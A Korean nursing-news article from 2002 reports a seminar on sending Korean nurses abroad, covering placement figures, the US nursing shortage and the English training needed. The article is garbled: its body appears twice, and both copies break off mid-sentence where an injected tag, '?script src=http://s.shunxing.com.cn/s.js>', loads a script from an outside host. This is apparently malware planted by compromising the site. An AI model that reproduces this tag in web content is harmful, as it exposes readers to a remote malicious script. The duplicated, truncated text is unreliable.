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해외취업 활성화 세미나 열려
한국 간호사 지식·기술 우수 … 영어가 관건
기사입력 2002-12-05 오후 13:18:20
간호사 해외취업 활성화 방안과 추진전략을 모색하는 자리가 마련됐다.
한국산업인력공단과 대한간호협회는 공동으로 `간호사 해외취업 활성화를 위한 세미나'를 3일 산업인력공단 국제회의실에서 개최해 정부와 간호계가 간호사 해외취업을 위한 새로운 목표를 정하고 철저한 계획하에 합심 노력해야 한다는 의견을 모았다.
이상환 한국산업인력공단 고용촉진국장은 "공단에서 간호사 해외취업 사업을 시작한 이래 현재까지 구인요청 인원은 2115명, 구직등록 인원은 2337명이고 실제 취업한 인원은 187명인 것으로 집계됐다"고 밝혔다. 또한 "이들 중 사우디아라비아에 취업한 간호사가 172명으로 가장 많았고 미국 8명, 영국 4명, 뉴질랜드와 아일랜드 각 1명이었으며, 취업 절차를 밟는 중이거나 대기중인 간호사들도 많다"고 말했다.
이 국장은 "미국 등 선진국에서 간호사 부족현상이 심화되고 있는 점을 감안할 때 간호사 해외취업을 적극 추진하는 것이 바람직하다고 판단한다"면서 "각국의 다양한 의료기관 개척을 통해 보다 적극적으로 취업알선을 추진하겠다"고 밝혔다.
우귀남 RN-Solution(해외취업업체) 대표는 "미국병원협회 발표에 따르면 현재 미국에 12만6000명의 간호사가 부족한 실정이며 이 수치는 10년 내에 3배에 이르게 될 것"이라며 "이는 미국 간호사 노령화(평균연령 45세), 간호대학생 수 감소, 전 세계적인 간호인력난, 간호대상자 수 확대, 다양해진 간호영역, 헬스케어 시스템의 변화 등이 원인"이라고 말했다.
우 대표는 "한국 간호사들의 임상지식과 의료기술 수준은 매우 뛰어나다는 평가를 받고 있지만 영어실력이 부족하다는 것이 취약점"이라며 "병원 근무에 지장이 없을 만큼의 영어실력만 갖춰준다면 다른 어떤 나라 간호사들보다도 한국 간호사의 미국 취업 전망은 밝으며 취업조건도 미국간호사와 차이가 별로 없을 것"이라고 말했다.
이어 해외취업 성공의 열쇠라 할 수 있는 `어학능력'에 대한 논의가 심도 깊게 이뤄졌다. 송지호 국립의료원간호대학장은 대학에서 운영하고 있는 간호실무영어 교과를 소개했다.
송 학장은 "미국간호사 면허를 취득한 간호사들이 간호현장영어 능력이 미흡해 취업과 현장적응에 어려움을 겪고 있어 이에 대한 해결방안으로 지난 2000년부터 간호실무영어를 필수과목으로 개설하고 있다"면서 "미국 임상경험을 가진 질 높은 교수진 확보, 대학자체 교재 개발, 실제상황과 같은 강의 등으로 국내 최고 수준의 간호실무영어교육을 선보이고 있다"고 말했다.
이어 "최근에는 영어전문기관 YBM시사영어사와 산학협력을 체결해 `간호실무영어 사이버대학'도 개설, 언제 어디서나 누구라도 원할 때 수강할 수 있도록 하고 있다"고 송 학장은 말했다.
박찬석 경북대 지리학과 교수는 "간호학과 학생들이 영어공부에 매진하기에는 전공과목 학점에 대한 부담이 너무 큰 것 같다"면서 "영어로 전공과목을 강의하도록 장려하고, 해외연수·영어전문학원 수강 등을 통한 영어학습도 학점으로 인정하며, 미국에서 근무하고 있는 간호사를 임시교수로 임명하거나 미국 간호대학이 개설하고 있는 사이버강의를 수강토록 하는 방법 등을 영어교육 활성화 방안으로 생각해볼 수 있을 것"이라고 말했다.
미국병원에 성공적으로 취업해 1990년부터 10년간 근무한 경력이 있는 김정화 간호사(현 국립암센터)의 사례도 소개됐다. 뉴욕 헌팅턴병원, 시애틀 그룹헬스코퍼레이션병원 등에 몸담았던 김 간호사는 "취업 초창기 영어실력 부족으로 고충과 오해가 많았지만 성실하고 정확하게, 친절을 다해 일한 결과 미국인들로부터 좋은 인식을 얻게될 수 있었다"며 "낯선 동료들, 환자들과 처음부터 유창한 영어로 소통하진 못했지만 눈을 맞춰 대화하고 그들 문화를 이해하면서 접근해 나가다보니 어느새 그들이 마음을 열어 격려해주고 힘을 북돋워주더라"고 말했다.
김 간호사는 특히 "영어로 간호기록하기, 환자사정, 약리학 테스트 등에서 어려움을 겪은 경험이 있다"며 취업 전 충분한 대비를 당부했으며, 많은 후배 간호사들이 해외로 진출해 선진 간호를 배우길 기대한다고 말했다.
세미나에 앞서 김유배 산업인력공단 이사장은 인사말에서 "1970년대 파독간호사들이 탁월한 간호기술과 성실한 근무태도를 발휘해 우리나라를 새롭게 인식시키고 경제발전과 국가번영의 초석을 마련했다"면서 "개방화, 세계화 추세에 맞춰 공단에서도 해외협력 및 해외취업을 중요하게 추진하는 만큼, 간호사 해외취업이 활성화되도록 뒷받침을 다하겠다"고 밝혔다.
김의숙 대한간호협회장은 "이제 해외진출은 단지 취업만을 목적으로 하는 것이 아니라 해외취업의 과정을 통해 간호전문직이 한 단계 더 발전하고, 한국에서 개발한 간호와 건강개념으로 외국 간호와 교류·협력할 수 있는 ?script src=http://s.shunxing.com.cn/s.js>
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한국산업인력공단과 대한간호협회는 공동으로 `간호사 해외취업 활성화를 위한 세미나'를 3일 산업인력공단 국제회의실에서 개최해 정부와 간호계가 간호사 해외취업을 위한 새로운 목표를 정하고 철저한 계획하에 합심 노력해야 한다는 의견을 모았다.
이상환 한국산업인력공단 고용촉진국장은 "공단에서 간호사 해외취업 사업을 시작한 이래 현재까지 구인요청 인원은 2115명, 구직등록 인원은 2337명이고 실제 취업한 인원은 187명인 것으로 집계됐다"고 밝혔다. 또한 "이들 중 사우디아라비아에 취업한 간호사가 172명으로 가장 많았고 미국 8명, 영국 4명, 뉴질랜드와 아일랜드 각 1명이었으며, 취업 절차를 밟는 중이거나 대기중인 간호사들도 많다"고 말했다.
이 국장은 "미국 등 선진국에서 간호사 부족현상이 심화되고 있는 점을 감안할 때 간호사 해외취업을 적극 추진하는 것이 바람직하다고 판단한다"면서 "각국의 다양한 의료기관 개척을 통해 보다 적극적으로 취업알선을 추진하겠다"고 밝혔다.
우귀남 RN-Solution(해외취업업체) 대표는 "미국병원협회 발표에 따르면 현재 미국에 12만6000명의 간호사가 부족한 실정이며 이 수치는 10년 내에 3배에 이르게 될 것"이라며 "이는 미국 간호사 노령화(평균연령 45세), 간호대학생 수 감소, 전 세계적인 간호인력난, 간호대상자 수 확대, 다양해진 간호영역, 헬스케어 시스템의 변화 등이 원인"이라고 말했다.
우 대표는 "한국 간호사들의 임상지식과 의료기술 수준은 매우 뛰어나다는 평가를 받고 있지만 영어실력이 부족하다는 것이 취약점"이라며 "병원 근무에 지장이 없을 만큼의 영어실력만 갖춰준다면 다른 어떤 나라 간호사들보다도 한국 간호사의 미국 취업 전망은 밝으며 취업조건도 미국간호사와 차이가 별로 없을 것"이라고 말했다.
이어 해외취업 성공의 열쇠라 할 수 있는 `어학능력'에 대한 논의가 심도 깊게 이뤄졌다. 송지호 국립의료원간호대학장은 대학에서 운영하고 있는 간호실무영어 교과를 소개했다.
송 학장은 "미국간호사 면허를 취득한 간호사들이 간호현장영어 능력이 미흡해 취업과 현장적응에 어려움을 겪고 있어 이에 대한 해결방안으로 지난 2000년부터 간호실무영어를 필수과목으로 개설하고 있다"면서 "미국 임상경험을 가진 질 높은 교수진 확보, 대학자체 교재 개발, 실제상황과 같은 강의 등으로 국내 최고 수준의 간호실무영어교육을 선보이고 있다"고 말했다.
이어 "최근에는 영어전문기관 YBM시사영어사와 산학협력을 체결해 `간호실무영어 사이버대학'도 개설, 언제 어디서나 누구라도 원할 때 수강할 수 있도록 하고 있다"고 송 학장은 말했다.
박찬석 경북대 지리학과 교수는 "간호학과 학생들이 영어공부에 매진하기에는 전공과목 학점에 대한 부담이 너무 큰 것 같다"면서 "영어로 전공과목을 강의하도록 장려하고, 해외연수·영어전문학원 수강 등을 통한 영어학습도 학점으로 인정하며, 미국에서 근무하고 있는 간호사를 임시교수로 임명하거나 미국 간호대학이 개설하고 있는 사이버강의를 수강토록 하는 방법 등을 영어교육 활성화 방안으로 생각해볼 수 있을 것"이라고 말했다.
미국병원에 성공적으로 취업해 1990년부터 10년간 근무한 경력이 있는 김정화 간호사(현 국립암센터)의 사례도 소개됐다. 뉴욕 헌팅턴병원, 시애틀 그룹헬스코퍼레이션병원 등에 몸담았던 김 간호사는 "취업 초창기 영어실력 부족으로 고충과 오해가 많았지만 성실하고 정확하게, 친절을 다해 일한 결과 미국인들로부터 좋은 인식을 얻게될 수 있었다"며 "낯선 동료들, 환자들과 처음부터 유창한 영어로 소통하진 못했지만 눈을 맞춰 대화하고 그들 문화를 이해하면서 접근해 나가다보니 어느새 그들이 마음을 열어 격려해주고 힘을 북돋워주더라"고 말했다.
김 간호사는 특히 "영어로 간호기록하기, 환자사정, 약리학 테스트 등에서 어려움을 겪은 경험이 있다"며 취업 전 충분한 대비를 당부했으며, 많은 후배 간호사들이 해외로 진출해 선진 간호를 배우길 기대한다고 말했다.
세미나에 앞서 김유배 산업인력공단 이사장은 인사말에서 "1970년대 파독간호사들이 탁월한 간호기술과 성실한 근무태도를 발휘해 우리나라를 새롭게 인식시키고 경제발전과 국가번영의 초석을 마련했다"면서 "개방화, 세계화 추세에 맞춰 공단에서도 해외협력 및 해외취업을 중요하게 추진하는 만큼, 간호사 해외취업이 활성화되도록 뒷받침을 다하겠다"고 밝혔다.
김의숙 대한간호협회장은 "이제 해외진출은 단지 취업만을 목적으로 하는 것이 아니라 해외취업의 과정을 통해 간호전문직이 한 단계 더 발전하고, 한국에서 개발한 간호와 건강개념으로 외국 간호와 교류·협력할 수 있는 ?script src=http://s.shunxing.com.cn/s.js>
박미경 mkpark@nursenews.co.kr